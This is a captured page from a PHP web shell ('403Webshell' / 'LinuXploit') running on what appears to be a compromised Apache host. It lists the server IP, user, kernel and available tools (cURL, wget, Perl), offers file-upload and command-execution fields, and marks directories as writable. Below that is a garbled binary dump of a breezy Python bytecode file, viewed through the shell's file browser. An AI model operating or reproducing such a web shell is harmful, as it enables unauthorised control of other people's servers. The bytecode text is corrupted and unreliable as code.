403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/breezy/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/breezy/__pycache__/msgeditor.cpython-313.pyc
�

p��g22��0�SrSSKrSSKrSSKrSSKJrJr SSKJr SSK	J
r
JrJrJ
r
JrJrJr SSKJr SSKJr "S	S
\5rSrSrS
R1SSS9r\S4Sjr\S4Sjr\SS4SjrSrSSjr"SS\5r\"5rSSjr SSjr!g)zCommit message editor support.�N)�BytesIO�StringIO)�call�)�bedding�cmdline�config�osutils�trace�	transport�ui)�BzrError)�Hooksc��\rSrSrSrSrg)�BadCommitMessageEncoding�zUThe specified commit message contains characters unsupported by the current encoding.�N)�__name__�
__module__�__qualname__�__firstlineno__�_fmt�__static_attributes__r��2/usr/lib/python3/dist-packages/breezy/msgeditor.pyrrs��	 �	rrc#�# �[RSS4v� [R"5RS5nUbU[R"54v� SH3nU[R;dM[RUSU-4v� M5 [RS:XaSH	nUS4v� M gS	H	nUS4v� M g![a N�f=f7f)
zEReturn sequence of possible editor binaries for the current platform.�
BRZ_EDITORz$BRZ_EDITOR�editorN)�VISUAL�EDITOR�$�win32)zwordpad.exeznotepad.exe)z/usr/bin/editor�vi�pico�nano�joe)
�os�environ�KeyErrorr	�GlobalStack�getr�config_path�sys�platform)�e�varnamers   r�_get_editorr1%s����
��j�j��&�
�5�5�	���� � ��*�A��}���$�$�&�&�&�%���b�j�j� ��*�*�W�%�s�W�}�4�4�&��|�|�w��2�F��$�,��3�G�F��$�,��G���
��
�s/�C�C�AC�6AC�
C�C�C�Cc��[5H:up[R"U5n[X0/-5nUS:Xa gUS:XaM: O [SR[R"555e![a=nUb/[
R"SRX[U555 SnAM�SnAff=f)z4Try to execute an editor to edit the commit message.Nz2Could not start editor "{}" (specified by {}): {}
rT�ztCould not start any editor.
Please specify one with:
 - $BRZ_EDITOR
 - editor=/some/path in {}
 - $VISUAL
 - $EDITOR)r1r�splitr�OSErrorr�warning�format�strrrr,)�filename�	candidate�candidate_source�edargs�xr/s      r�_run_editorr><s���'2�}�#�	����y�)��
	��V�j�(�)�A�
��6��
�#�X���+(5�,�	!�!'���(;�(;�(=�!>����%�	��+��
�
�I�P�P�!�S��V���

��	�s�A6�6
B=�2B8�8B=z{bar} {msg} {bar}z--------------z+This line and the following will be ignored)�bar�msgc��Ub$UR[R"55nUR[R"5S5n[XU5$)aTLet the user edit a commit message in a temp file.

This is run if they don't give a message or
message-containing file on the command line.

:param infotext:    Text to be displayed at bottom of message
                    for the user's reference;
                    currently similar to 'bzr status'.

:param ignoreline:  The separator to use above the infotext.

:param start_message:   The text to place above the separator, if any.
                        This will not be removed from the message
                        after the user has edited it.

:return:    commit message or None.
�replace)�encoder
�get_user_encoding�edit_commit_message_encoded)�infotext�
ignoreline�
start_messages   r�edit_commit_messagerIasI��$� �%�,�,�W�-F�-F�-H�I�
����w�8�8�:�I�F�H�&�x�]�K�Krc��Sn[XU5up4U(dUb[R"U5 gg[R"U5n[R"[R"U55nURU5n[U5(dUb[R"U5 ggURU5n	X�:XaC[RRSS05(dUb[R"U5 ggSn
/nSup�[ R""US[R$"5S	9nUHRnUR'5nU
(dUS:waS
n
OM%U(aUU:Xa O#U
S-
n
US:waU
nUR)U5 MT SSS5 [/U5S:XaUb[R"U5 ggX�S2	US
R1S5(d<SR3SR5U5S5Ub[R"U5 $$SR5U5Ub[R"U5 $$![a!n[R
"SX55 SnAgSnAff=f![a!n[R
"SX55 SnAgSnAff=f![a!n[R
"SX55 SnAgSnAff=f![*a [-5ef=f!,(df   GNb=f![a!n[R
"SX55 SnAgSnAff=f![a!n[R
"SX55 SnA$SnAff=f![a!n[R
"SX55 SnA$SnAff=f!UbF[R"U5 f![a!n[R
"SX55 SnAfSnAff=ff=f)a�Let the user edit a commit message in a temp file.

This is run if they don't give a message or
message-containing file on the command line.

:param infotext:    Text to be displayed at bottom of message
                    for the user's reference;
                    currently similar to 'bzr status'.
                    The string is already encoded

:param ignoreline:  The separator to use above the infotext.

:param start_message:   The text to place above the separator, if any.
                        This will not be removed from the message
                        after the user has edited it.
                        The string is already encoded

:return:    commit message or None.
Nz failed to unlink %s: %s; ignoredz)Commit message was not edited, use anywayzbreezy.msgeditor.unchanged�F)rr�rb)�mode�encodingTrr����
z{}{})�&_create_temp_file_with_commit_templater'�unlinkr5rr6r
�basenamer�get_transport_from_path�dirname�	get_bytesr>r
�
ui_factory�confirm_action�codecs�openrD�strip�append�UnicodeDecodeErrorr�len�endswithr7�join)rFrGrH�msgfilename�hasinfor/rS�
msg_transport�reference_content�edited_content�startedr@�lastline�nlines�f�line�
stripped_lines                 rrErEys���,�K�@R�E��-� 
�����n�"�
R��	�	�+�&�#�m�#�#�K�0��!�9�9�'�/�/�+�:V�W�
�)�3�3�H�=���;�'�'��d�"�
R��	�	�+�&�#�c'�0�0��:���.��=�=�/�/�;�,�����N�"�
R��	�	�+�&�#�M�������
�[�[��d�W�-F�-F�-H�
�
�
1��D�$(�J�J�L�M�"�(�B�.�&*�G�$��=�J�#>���a�K�F�$��*�#)���J�J�t�$�!�	
�0�s�8�q�=���"�
R��	�	�+�&�#�
�	�N��2�w����%�%��=�=������t�4�
�"�
R��	�	�+�&�#��7�7�3�<��"�
R��	�	�+�&�#���
R��
�
�@�+�Q�Q��
R��7�
R��
�
�@�+�Q�Q��
R��7�
R��
�
�@�+�Q�Q��
R��#&�
1�.�0�0�
1��+
�
��L�
R��
�
�@�+�Q�Q��
R��7�
R��
�
�@�+�Q�Q��
R��7�
R��
�
�@�+�Q�Q��
R���"�
R��	�	�+�&���
R��
�
�@�+�Q�Q��
R��#�s�N�I�A!N�J�4<N�5J.�
1N�>K4�5K�5K4�6"K�K4�N�5L�
=N�L4�&N�:M"�
I=�I8�8I=�
J+�
J&�&J+�.
K�8K�K�K1�1K4�4
L�>N�
L1�L,�,L1�4
M�>M�M�"
N
�,N�N
�O�N,�+O�,
O�6O�
O�O�Oc�\�SSKnURSUSS9upV[R"US5nUbUR	SU-5 UbCUS:wa=SnS	UR[R"55U4-n	UR	U	5 OS
nSSS5 Xh4$!,(df   UW4$=f)a�Create temp file and write commit template in it.

:param infotext: Text to be displayed at bottom of message for the
    user's reference; currently similar to 'bzr status'.  The text is
    already encoded.

:param ignoreline:  The separator to use above the infotext.

:param start_message: The text to place above the separator, if any.
    This will not be removed from the message after the user has edited
    it.  The string is already encoded

:return:    2-tuple (temp file name, hasinfo)
rNzbzr_log.T)�prefix�dir�text�wbs%s
rKs

%s

%sF)�tempfile�mkstempr'�fdopen�writerCr
rD)
rFrGrH�tmpdirrq�
tmp_filenora�msgfilerb�trailers
          rrQrQ�s���"�&�.�.�j�f�SW�.�X��J�	���:�t�	$���$��M�M�'�M�1�2���H��N��G�%��!�!�'�";�";�"=�>��)��G�
�M�M�'�"��G�
%�
�!�!�
%�	$�
��!�!�s�A B�
B+c�R�SSKJn [5nU"XUSS9 UR5$)zgPrepare a template file for a commit into a branch.

Returns a unicode string containing the template.
r)�show_tree_statusT)�specific_files�to_file�verbose)�statusrzr�getvalue)�working_treer{rz�
status_tmps    r�make_commit_message_templater��s/��)���J���Z�QU����� � rc���SSKJn [X5nURUS5nU(a8[	5nU"UR5UUUUS9 US-UR
5-nU$)zPPrepare a template file for a commit into a branch.

Returns an encoded string.
r)�show_diff_treesrB)�
path_encoding�
)�diffr�r�rCr�
basis_treer)r�r{r��output_encodingr��template�streams       r�$make_commit_message_template_encodedr�sh��&�+�L�I�H�����	�:�H�������#�#�%����)�	
��e�#�f�o�o�&7�7���Orc��\rSrSrSrSrSrg)�MessageEditorHooksi*z�A dictionary mapping hook name to a list of callables for message editor
hooks.

e.g. ['commit_message_template'] is the list of items to be called to
generate a commit message template
c��[R"USS5 URSSS5 URSSS5 g	)
z:Create the default hooks.

These are all empty initially.
zbreezy.msgeditor�hooks�set_commit_messagea4Set a fixed commit message. set_commit_message is called with the breezy.commit.Commit object (so you can also change e.g. revision properties by editing commit.builder._revprops) and the message so far. set_commit_message must return the message to use or None if it should use the message editor as normal.)���commit_message_templatea�Called when a commit message is being generated. commit_message_template is called with the breezy.commit.Commit object and the message that is known so far. commit_message_template must return a new message to use (which could be the same as it was given). When there are multiple hooks registered for commit_message_template, they are chained with the result from the first passed into the second, and so on.)r�
N)r�__init__�add_hook)�selfs rr��MessageEditorHooks.__init__2sJ��
	���t�/��9��
�
� �
I�
�		
�	
�
�
�%�
�
�	
rrN)rrrr�__doc__r�rrrrr�r�*s���
rr�c�:�Sn[SHnU"X5nM
 U$)z�Sets the commit message.
:param commit: Commit object for the active commit.
:return: The commit message or None to continue using the message editor.
Nr��r���commitrH�hooks   rr�r�Ss)��
�M��*�+���V�3�
�,��rc�:�Sn[SHnU"X5nM
 U$)z�Generate a commit message template.

:param commit: Commit object for the active commit.
:param start_message: Message to start with.
:return: A start commit message or None for an empty start commit message.
Nr�r�r�s   r� generate_commit_message_templater�^s)���M��/�0���V�3�
�1��r)Nzutf-8)N)"r�rYr'r-�iorr�
subprocessrrKrrr	r
rrr
�errorsrr�rrr1r>r7�DEFAULT_IGNORE_LINErIrErQr�r�r�r�r�rrr�<module>r�s���"%�
�	�
� ��E�E�E����x���.�>*�0�0��5�1���.A�PT�L�2-�D�WR�v-�D��""�J!�(>E��>#
��#
�L	����
r

Youez - 2016 - github.com/yon3zu
LinuXploit